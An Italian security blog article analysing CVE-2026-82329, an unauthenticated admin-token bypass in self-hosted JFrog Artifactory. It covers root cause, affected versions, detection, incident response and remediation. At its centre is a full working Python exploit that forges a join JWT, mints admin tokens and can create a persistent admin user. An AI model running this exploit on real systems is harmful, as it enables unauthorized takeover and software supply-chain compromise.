CVE-2026-82329: PoC Authentication Bypass in JFrog Artifactory

CVE-2026-82329: bypass di autenticazione in JFrog Artifactory via join key vuota. Root cause, exploit chain, PoC funzionante, detection e remediation.
- Pubblicato il 2026-09-11
- Tempo di lettura: 10 min
CVE-2026-82329: Bypass di Autenticazione in JFrog Artifactory via Join Key Vuota #
CVE-2026-82329 è una vulnerabilità critica (CVSS 9.8, CWE-287) in JFrog Artifactory self-hosted che, nella configurazione predefinita, può permettere a un attaccante non autenticato con accesso di rete di ottenere privilegi amministrativi sulla piattaforma. Il problema deriva dalla gestione delle join key vuote in JFrog Access. È stata divulgata e patchata da JFrog il 28 agosto 2026 e inserita nel catalogo KEV di CISA il 2 settembre — watchTowr ha osservato exploitation in the wild già dal 1° settembre, con attaccanti che generano token amministrativi ed enumerano utenti, gruppi, credenziali e relazioni di accesso federato.
CVE-2026-82329 in Breve #
| Voce | Dettaglio |
|---|---|
| CVE | CVE-2026-82329 |
| Prodotto | JFrog Artifactory |
| Tipo | Improper Authentication |
| CWE | CWE-287 |
| Severità | Critical |
| CVSS v3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Privilegi richiesti | Nessuno |
| Interazione utente | Nessuna |
| Impatto | Accesso amministrativo |
| Configurazione interessata | Default |
| Deployment | Self-hosted |
| Cloud/SaaS JFrog | Non interessato (già protetto) |
| CISA KEV | Sì, dal 2 settembre 2026 |
| Exploitation | Attiva, osservata in the wild |
| Patch | 28 agosto 2026 |
Timeline #
28 agosto 2026 → JFrog pubblica advisory e patch
1 settembre 2026 → watchTowr osserva exploitation in the wild
2 settembre 2026 → CISA inserisce CVE-2026-82329 nel catalogo KEVCVE-2026-82329 è Sfruttata Attivamente? #
Sì. watchTowr ha osservato, tramite la propria rete di honeypot globale, attaccanti che sfruttano la vulnerabilità per generare token amministrativi e successivamente enumerare utenti, gruppi, set di credenziali e topologie di accesso federato. L’attività proviene da un numero relativamente contenuto di IP distribuiti in diverse aree geografiche, senza ancora configurarsi come scansione di massa su larga scala. Va notato che questa osservazione arriva da watchTowr, non da una conferma diretta di JFrog nel proprio advisory — che si limita a descrivere la falla come potenzialmente sfruttabile, senza dettagliare campagne osservate.
Chi è Vulnerabile #
Sono vulnerabili le installazioni self-hosted di JFrog Artifactory nelle versioni elencate in tabella più sotto, con configurazione predefinita (nessuna join key aggiuntiva configurata). Le istanze JFrog Cloud sono già state messe in sicurezza da JFrog e non richiedono alcuna azione da parte del cliente.
Impatto #
- Perdita di controllo amministrativo sull’istanza Artifactory.
- Accesso a configurazione e token dell’intera piattaforma, incluso l’elenco di tutti i token esistenti.
- Creazione di credenziali amministrative persistenti, su edizioni Pro/Enterprise.
- Rischio supply-chain: Artifactory distribuisce pacchetti, immagini container e artefatti usati dalle pipeline CI/CD a valle — un’istanza compromessa può diventare un punto di leva per manipolare ciò che viene distribuito ai sistemi downstream.
Cos’è JFrog Artifactory #
Artifactory è un repository manager usato per archiviare, versionare e distribuire pacchetti software, immagini container e binari lungo la pipeline CI/CD. Occupa tipicamente una posizione privilegiata nel flusso di sviluppo: chi ne ottiene il controllo amministrativo può manipolare artefatti distribuiti a valle, un rischio da supply chain che va oltre la singola istanza compromessa.
La causa radice #
JFrog Access — il componente che gestisce autenticazione e autorizzazione in Artifactory — verifica i JWT usati per il “join” tra nodi del cluster firmandoli con una join key condivisa come segreto HMAC. Il problema sta in JoinKeyAccess.tryResolveJoinKeys(): la configurazione delle “additional join keys” veniva costruita con config.split(",") senza alcun filtro sui valori vuoti. Quando non ci sono join key aggiuntive configurate — cioè nella configurazione di default — quella stringa vuota ("") veniva comunque aggiunta al set di chiavi considerate valide.
Il problema è che JoinKeyUtils.getSigningKey("") restituisce un valore completamente noto e prevedibile: il padding PKCS7 di una stringa vuota su 32 byte, cioè 32 byte tutti col valore 0x20. Chiunque conosca questo dettaglio può quindi firmare un JWT di join valido usando quel segreto, senza aver mai avuto accesso all’istanza.
La catena di exploit #
L’intera catena è non autenticata, in quattro passi:
- Forgiare un JWT di join — algoritmo HS256, claim
kiduguale aSHA256("")(per selezionare la chiave vuota tra quelle fidate),iatfresco (il server applica una finestra di validità di circa 30 secondi),service_idvalorizzato,skip_node_registration=true. Il JWT viene firmato con i 32 byte0x20derivati dalla chiave vuota. POST /access/api/v1/registry/join— endpoint non autenticato (RegistryNoAuthResource). Con il JWT forgiato accettato, risponde con HTTP 201 e restituisce un token di tipo SERVICE che ha giàscope=admin.POST /access/api/v1/tokens— usando quel token SERVICE come bearer, si richiede uno scambio conscope=applied-permissions/admin&audience=*. La verifica lato server, guidata dallo scope del token presentato, restituisce un vero e proprio token ADMIN con audience globale.- Uso del token admin — lettura di configurazione globale (
/artifactory/api/system/configuration), enumerazione di tutti i token esistenti (/access/api/v1/tokens), e su istanze Pro/Enterprise creazione di un utente amministratore persistente.
Versioni Vulnerabili e Patch #
Colpisce le istanze self-hosted; JFrog ha corretto la vulnerabilità nelle release Artifactory indicate nella tabella seguente (il cloud JFrog era già protetto). Secondo l’analisi indipendente del patch-diff pubblicata da dinosn, a livello di componente la correzione interessa JFrog Access 7.191.14 — questo dato specifico non è confermato nell’advisory ufficiale JFrog, che riporta solo le versioni Artifactory:
| Branch | Versione patchata |
|---|---|
| 7.111.x | 7.111.21 |
| 7.117.x | 7.117.28 |
| 7.125.x | 7.125.20 |
| 7.133.x | 7.133.29 |
| 7.146.x | 7.146.38 |
| 7.161.x | 7.161.20 |
La patch introduce un filtro Strings::isNotBlank in JoinKeyAccess, JoinKeyHashPair rifiuta esplicitamente chiavi null/vuote, e due endpoint (GET/DELETE {projectKey}/resources) sono stati spostati da autorizzazione SERVICE ad ADMIN — a conferma che la superficie SERVICE era più esposta del previsto.
Come Verificare la Versione #
La versione in esecuzione è leggibile dall’endpoint GET /artifactory/api/system/version (richiede autenticazione su istanze configurate correttamente, ma spesso accessibile) o dalla sezione “System Info” del pannello amministrativo. Il numero restituito va confrontato con la tabella sopra: qualunque versione precedente a quella indicata per il proprio branch è vulnerabile.
Attack Flow #
Attaccante
│
│ JWT di join forgiato (firmato con la chiave vuota nota)
▼
POST /access/api/v1/registry/join
│
│ token SERVICE (scope già admin)
▼
POST /access/api/v1/tokens
│
│ token ADMIN (audience=*)
▼
Accesso amministrativo
│
├── Configurazione globale
├── Tutti i token esistenti
├── Creazione utenti (Pro/Enterprise)
└── Artefatti e pipeline CI/CD a valleProof of Concept #
Lo script sotto è una versione rivista di un PoC pubblico esistente, con alcune correzioni pratiche per l’uso reale in un assessment: gestione TLS per istanze con certificato self-signed (comune su Artifactory interne), timeout configurabile, e una modalità di sola rilevazione che si ferma al primo passo senza generare un token admin persistente — utile per una scansione meno invasiva in fase di verifica. La logica è stata verificata end-to-end contro un server di test che replica il comportamento vulnerabile e quello patchato.
#!/usr/bin/env python3
"""
CVE-2026-82329 - JFrog Artifactory unauthenticated authentication bypass
-> admin access-token minting (CVSS 9.8, CWE-287).
ROOT CAUSE:
JFrog Access verifies cluster "join" JWTs with the platform JOIN KEY as an
HMAC secret. JoinKeyAccess.tryResolveJoinKeys() built the trusted
"additional join keys" set with config.split(",") and no blank filter, so
with no additional keys configured (default) the value "" -> [""] added a
BLANK join key to the trusted verifier set.
JoinKeyUtils.getSigningKey("") == pkcs7(<empty>, 32) == 32 bytes of 0x20,
a fully-known HMAC secret -> the join JWT is forgeable by anyone.
EXPLOIT CHAIN (all unauthenticated):
1. Forge a join JWT signed with the known blank-key secret.
2. POST /access/api/v1/registry/join -> SERVICE token, scope=admin.
3. POST /access/api/v1/tokens -> exchange for a full ADMIN token.
4. Use it to read config, enumerate tokens, or create an admin user.
PATCH: fixed in JFrog Access 7.191.14 and paired Artifactory releases
(7.111.21 / 7.117.28 / 7.125.20 / 7.133.29 / 7.146.38 / 7.161.20).
For AUTHORIZED security testing only. Dependency-free (Python 3 stdlib).
Usage:
python3 cve_2026_82329_poc.py https://TARGET:8082 --check-only
python3 cve_2026_82329_poc.py https://TARGET:8082 -k
python3 cve_2026_82329_poc.py https://TARGET:8082 -k --create-admin evil:P@ssw0rd1
"""
import sys, json, time, hmac, hashlib, base64, argparse, ssl
import urllib.request, urllib.error
BLANK_SECRET = b"\x20" * 32 # JoinKeyUtils.getSigningKey("") == pkcs7(empty,32)
BLANK_KID = hashlib.sha256(b"").hexdigest() # kid claim selecting the trusted blank join key
def _b64u(raw: bytes) -> bytes:
return base64.urlsafe_b64encode(raw).rstrip(b"=")
def forge_join_jwt(service_id="jfrt@01") -> str:
header = {"alg": "HS256", "typ": "JWT"}
payload = {
"iat": int(time.time()), # server enforces a ~30s freshness window
"service_id": service_id,
"kid": BLANK_KID, # selects the (wrongly) trusted blank join key
"skip_node_registration": True, # -> joinWithoutNodeRegistration() -> scope("admin")
}
signing_input = (_b64u(json.dumps(header, separators=(",", ":")).encode())
+ b"." + _b64u(json.dumps(payload, separators=(",", ":")).encode()))
sig = hmac.new(BLANK_SECRET, signing_input, hashlib.sha256).digest()
return (signing_input + b"." + _b64u(sig)).decode()
def _ssl_context(insecure: bool):
if not insecure:
return None
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return ctx
def _http(method, url, data=None, headers=None, timeout=25, insecure=False):
body = data.encode() if isinstance(data, str) else data
req = urllib.request.Request(url, data=body, method=method)
for k, v in (headers or {}).items():
req.add_header(k, v)
ctx = _ssl_context(insecure)
try:
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as r:
return r.status, r.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")
except Exception as e:
return None, str(e)
def _jwt_claims(tok):
try:
p = tok.split(".")[1]
p += "=" * (-len(p) % 4)
return json.loads(base64.urlsafe_b64decode(p))
except Exception:
return {}
def mint_service_token(base, service_id, insecure, timeout):
jwt = forge_join_jwt(service_id)
st, body = _http("POST", f"{base}/access/api/v1/registry/join", data=jwt,
headers={"Content-Type": "text/plain", "User-Agent": "jfrt/0/7.161.19"},
insecure=insecure, timeout=timeout)
if st not in (200, 201):
return None, (st, body)
try:
return json.loads(body)["token"], (st, body)
except Exception:
return None, (st, body)
def exchange_admin_token(base, service_token, insecure, timeout):
st, body = _http("POST", f"{base}/access/api/v1/tokens",
data="scope=applied-permissions/admin&audience=*&expires_in=0&refreshable=false",
headers={"Authorization": f"Bearer {service_token}",
"Content-Type": "application/x-www-form-urlencoded"},
insecure=insecure, timeout=timeout)
if st != 200:
return None, (st, body)
try:
return json.loads(body).get("access_token"), (st, body)
except Exception:
return None, (st, body)
def prove_admin(base, admin_token, insecure, timeout):
h = {"Authorization": f"Bearer {admin_token}"}
results = {}
st, body = _http("GET", f"{base}/artifactory/api/system/configuration", headers=h,
insecure=insecure, timeout=timeout)
results["read_global_config"] = (st, len(body))
st2, _ = _http("GET", f"{base}/access/api/v1/tokens", headers=h, insecure=insecure, timeout=timeout)
results["list_all_tokens"] = st2
st3, _ = _http("GET", f"{base}/artifactory/api/system/version", headers=h,
insecure=insecure, timeout=timeout)
results["system_version"] = st3
return results
def create_admin_user(base, admin_token, user, pw, insecure, timeout):
h = {"Authorization": f"Bearer {admin_token}", "Content-Type": "application/json"}
payload = json.dumps({"name": user, "email": f"{user}@poc.local", "password": pw, "admin": True})
st, body = _http("PUT", f"{base}/artifactory/api/security/users/{user}", data=payload,
headers=h, insecure=insecure, timeout=timeout)
if st not in (200, 201):
p2 = json.dumps({"username": user, "email": f"{user}@poc.local", "password": pw, "admin": True})
st, body = _http("POST", f"{base}/access/api/v2/users", data=p2,
headers=h, insecure=insecure, timeout=timeout)
verify = None
if st in (200, 201):
basic = base64.b64encode(f"{user}:{pw}".encode()).decode()
verify, _ = _http("GET", f"{base}/artifactory/api/system/ping",
headers={"Authorization": f"Basic {basic}"}, insecure=insecure, timeout=timeout)
return st, body[:200], verify
def main():
ap = argparse.ArgumentParser(description="CVE-2026-82329 JFrog Artifactory auth-bypass PoC")
ap.add_argument("base", help="URL base del target, es. https://host:8082")
ap.add_argument("--service-id", default="jfrt@01")
ap.add_argument("-k", "--insecure", action="store_true",
help="Ignora la verifica del certificato TLS (istanze self-signed)")
ap.add_argument("--timeout", type=int, default=25, help="Timeout HTTP in secondi (default: 25)")
ap.add_argument("--check-only", action="store_true",
help="Si ferma dopo il passo 1: conferma la vulnerabilità senza generare un token admin")
ap.add_argument("--create-admin", metavar="USER:PASS", default=None,
help="Crea anche un utente admin persistente (Pro/Enterprise)")
ap.add_argument("--token-only", action="store_true", help="Stampa un token admin ed esce")
args = ap.parse_args()
base = args.base.rstrip("/")
print(f"[*] Target: {base}")
print(f"[*] JWT di join forgiato con la chiave vuota nota (32x0x20), kid={BLANK_KID[:16]}...")
svc, (st, body) = mint_service_token(base, args.service_id, args.insecure, args.timeout)
if not svc:
print(f"[-] /registry/join -> HTTP {st}: {body[:200]}")
print("[=] NON VULNERABILE (chiave di join vuota non fidata -> patchato, o target irraggiungibile).")
sys.exit(1)
claims = _jwt_claims(svc)
print(f"[+] Passo 1 /registry/join -> HTTP {st} token SERVICE ottenuto (scp={claims.get('scp')})")
if args.check_only:
print("[=] VULNERABILE - la join key vuota è accettata, nessun token admin generato (--check-only).")
sys.exit(0)
admin, (st2, body2) = exchange_admin_token(base, svc, args.insecure, args.timeout)
if not admin:
print(f"[-] scambio token -> HTTP {st2}: {body2[:200]}")
admin = svc
else:
c = _jwt_claims(admin)
print(f"[+] Passo 2 /access/api/v1/tokens -> HTTP {st2} token ADMIN (scp={c.get('scp')}, aud={c.get('aud')})")
if args.token_only:
print(admin)
return
res = prove_admin(base, admin, args.insecure, args.timeout)
cfg_status, cfg_len = res["read_global_config"]
print(f"[+] Passo 3 prova di privilegi admin:")
print(f" GET /artifactory/api/system/configuration -> HTTP {cfg_status} ({cfg_len} byte, solo admin; unauth=401)")
print(f" GET /access/api/v1/tokens (lista token) -> HTTP {res['list_all_tokens']} (solo admin)")
print(f" GET /artifactory/api/system/version -> HTTP {res['system_version']}")
if args.create_admin and ":" in args.create_admin:
u, p = args.create_admin.split(":", 1)
st, body, verify = create_admin_user(base, admin, u, p, args.insecure, args.timeout)
print(f"[+] Passo 4 creazione utente admin '{u}' -> HTTP {st}; verifica login -> HTTP {verify}")
if st in (200, 201):
print(f" [CONFERMATO] utente admin persistente '{u}' creato.")
admin_ok = (cfg_status == 200) or (res["list_all_tokens"] == 200)
print()
if admin_ok:
print("[=] VULNERABILE - un attaccante non autenticato ha ottenuto ADMIN (CVE-2026-82329).")
print(f" Token di accesso admin: {admin}")
sys.exit(0)
else:
print("[?] Token generato ma gli endpoint di prova non hanno risposto 200 - verificare manualmente.")
sys.exit(2)
if __name__ == "__main__":
main()Le modifiche principali rispetto al PoC originale: flag -k/--insecure per istanze con certificato TLS self-signed (molto comuni su deployment interni di Artifactory), --timeout configurabile invece di un valore fisso, e soprattutto --check-only — una modalità che si ferma al primo step della catena, confermando la vulnerabilità senza generare un token amministrativo con validità potenzialmente permanente. In un assessment autorizzato, minimizzare il numero di artefatti persistenti creati sul target è buona norma.
Detection #
Segnali da cercare nei log di JFrog Access:
- Voci
"Adding join key with kid: <hash> to additional join keys"con hash corrispondente aSHA256("")— indicano che l’istanza sta accettando la chiave vuota come fidata (comportamento vulnerabile). - Richieste a
/access/api/v1/registry/joinsenza una precedente registrazione legittima del nodo, seguite a breve distanza da/access/api/v1/tokensconscope=applied-permissions/admin— la sequenza a due passi è la firma della catena di exploit. - Nuovi token con audience
*e scope admin generati senza una corrispondente sessione di login amministrativo. - Utenti amministrativi creati senza una richiesta corrispondente nell’interfaccia web o nei log di audit dell’IdP collegato.
Per un Blue Team, la correlazione temporale è più utile della semplice lista di endpoint isolati — cercare la sequenza registry/join → emissione token → attività amministrativa concentrata in una finestra di pochi secondi è la firma più affidabile dell’exploitation, molto più di un singolo hit su uno di quegli endpoint preso da solo.
Cosa Fare se l’Istanza era Esposta a Internet #
Se Artifactory era raggiungibile da Internet nella finestra tra il 28 agosto e l’effettivo patching, la sola applicazione della patch non è sufficiente — l’istanza va trattata come potenzialmente già compromessa:
- Isolare o restringere immediatamente l’accesso di rete all’istanza.
- Applicare la release corretta per il proprio branch.
- Ruotare tutti i token e le credenziali potenzialmente esposti.
- Cercare token amministrativi non riconosciuti tra quelli attivi.
- Cercare utenti amministrativi creati recentemente e non giustificati.
- Analizzare i log di accesso e di audit per la finestra di esposizione.
- Verificare eventuali modifiche non autorizzate ad artefatti e configurazioni di pipeline CI/CD.
- Se emergono indicatori di compromissione, estendere l’analisi ai sistemi downstream che consumano pacchetti o immagini da quell’istanza.
Remediation #
- Aggiornare alla release Artifactory corrispondente al proprio branch indicata in tabella — è l’unica correzione reale, non esistono mitigazioni parziali affidabili lato configurazione.
- Dopo il patching, ruotare tutti i token di accesso esistenti: la vulnerabilità permette di enumerare i token, quindi qualunque credenziale emessa prima della patch va considerata potenzialmente esposta.
- Restringere l’esposizione di rete di Artifactory (reverse proxy, rete privata, allowlist) come misura di riduzione del rischio nell’intervallo prima del patching — non sostituisce l’aggiornamento.
- Verificare nei log di audit la presenza di utenti amministrativi non riconosciuti creati nella finestra tra la divulgazione (28 agosto) e l’effettivo patching della propria istanza.
CVE, CWE, CVSS e KEV: Cosa Significano Qui #
- CVE-2026-82329 identifica univocamente questa vulnerabilità specifica.
- CWE-287 ne classifica la categoria di debolezza: Improper Authentication.
- CVSS 9.8 ne misura la severità tecnica su scala 0-10, calcolata dal vettore
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. - CISA KEV indica che la vulnerabilità è stata inserita nel catalogo delle vulnerabilità note per essere sfruttate attivamente — una classificazione operativa, distinta dal punteggio CVSS, che segnala urgenza di patching immediata.
FAQ #
Cosa permette CVE-2026-82329? Nella configurazione predefinita, permette a un attaccante non autenticato con accesso di rete di ottenere un token con privilegi amministrativi su un’istanza JFrog Artifactory self-hosted.
Quali versioni di JFrog Artifactory sono vulnerabili? Le versioni precedenti a 7.111.21, 7.117.28, 7.125.20, 7.133.29, 7.146.38 e 7.161.20, a seconda del branch — vedi la tabella sopra per il dettaglio.
CVE-2026-82329 riguarda JFrog Artifactory Cloud? No. Le istanze cloud gestite da JFrog erano già protette al momento della divulgazione; riguarda solo i deployment self-hosted.
CVE-2026-82329 richiede autenticazione? No, l’intera catena — dalla forgiatura del JWT fino all’ottenimento del token admin — è eseguibile senza alcuna credenziale valida.
CVE-2026-82329 è stata sfruttata attivamente? Sì, watchTowr ha osservato exploitation in the wild dal 1° settembre 2026, ed è stata inserita nel catalogo KEV di CISA il 2 settembre.
Come verificare se un’istanza Artifactory è vulnerabile?
Confrontare la versione in esecuzione (leggibile da /artifactory/api/system/version o dal pannello admin) con le versioni patchate in tabella, oppure usare la modalità --check-only del PoC in questo articolo per una verifica non invasiva.
Come correggere CVE-2026-82329? Aggiornare alla release Artifactory patchata per il proprio branch e ruotare tutti i token esistenti dopo l’update.
Cosa fare se Artifactory era esposto a Internet prima del patching? Trattare l’istanza come potenzialmente compromessa: oltre a patchare, seguire i passi descritti nella sezione dedicata sopra (rotazione credenziali, ricerca di token e utenti admin non riconosciuti, analisi dei log).
Articoli Correlati #
- JWT — meccanica dei token e vulnerabilità comuni di firma/verifica
- Broken Authentication — la classe di vulnerabilità (CWE-287) a cui appartiene questo CVE
- RCE — impatto finale quando un bypass di autenticazione porta a esecuzione di codice a valle
Fonti e riferimenti #
- JFrog Artifactory Security Advisories
- CVE-2026-82329 (NVD)
- CVE-2026-82329 (GitHub Advisory Database)
- CISA Known Exploited Vulnerabilities Catalog
- Artifactory Self-Managed Releases
- watchTowr — analisi exploitation in the wild
- PoC originale e patch-diff (dinosn, GitHub)
Contenuto pubblicato a scopo didattico e di consapevolezza sulla sicurezza informatica. L’utilizzo di queste tecniche su sistemi privi di autorizzazione esplicita costituisce reato.





